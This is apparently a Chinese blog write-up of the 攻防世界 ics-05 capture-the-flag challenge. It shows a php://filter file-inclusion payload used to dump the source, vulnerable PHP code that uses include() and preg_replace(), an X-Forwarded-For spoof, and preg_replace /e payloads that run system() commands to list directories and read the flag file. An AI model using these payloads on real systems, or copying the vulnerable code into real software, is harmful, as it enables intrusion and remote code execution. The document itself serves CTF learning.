攻防世界-ics-05题

php伪协议

常用方式:

?file=php://filter/read=convert.base64-encode/resource=index.php

用来查看index.php的源码。

题目分析:

进入后,点击设备维护中心(只有这一个可以点)

image-20211122195711034

查看源代码,可以看见存在一个参数为page,就在“云平台设备维护中心”:

image-20211122195845237

点击该处即可发现自己发现了新世界:

image-20211122195943186

首先判断是否存在文件包含漏洞:

/index.php?page={{1+1}}

发现界面没有显示,则不存在文件包含漏洞,但是更改page的值,发现存在回显,则可以尝试利用php伪协议:

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

image-20211122201628508

即可得到经过base64编码的网页源代码,进行base64解码后查看:

部分代码为:

<?php

$page = $_GET[page];

if (isset($page)) {
	if (ctype_alnum($page)) {
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />
}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
}}

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

isset() 函数用于检测变量是否已设置并且非 NULL。

**ctype_alnum()**函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符。

即说明输入的page必须不为空,且包含字母和数字。

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

说明要想执行else,则输入的page中不能存在input、ta:text、text这些值。

继续审查代码,发现该网页还有另外一种登录方式,既可以通过本地ip登录,只需要把本地ip伪造成127.0.0.1即可。

image-20211122204455610

成功使用本地访问。

preg_replace函数漏洞:

>>> mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )

>>> 如果pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行

则构造payload查看当前工作路径:

/index.php?pat=/heihei/e&rep=system(%22pwd%22)&sub=heihei

image-20211122210402642

列出当前路径下所有文件:

/index.php?pat=/heihei/e&rep=system("ls /var/www/html ")&sub=heihei

image-20211122210545582

/index.php?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir ")&sub=heihei

image-20211122210730889

/index.php?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir/flag")&sub=heihei

image-20211122211005277

/index.php?pat=/heihei/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=heihei

image-20211122211532633

发现没有输出,查看源代码:

image-20211122211627207

成功找到flag!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学编程的小w

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值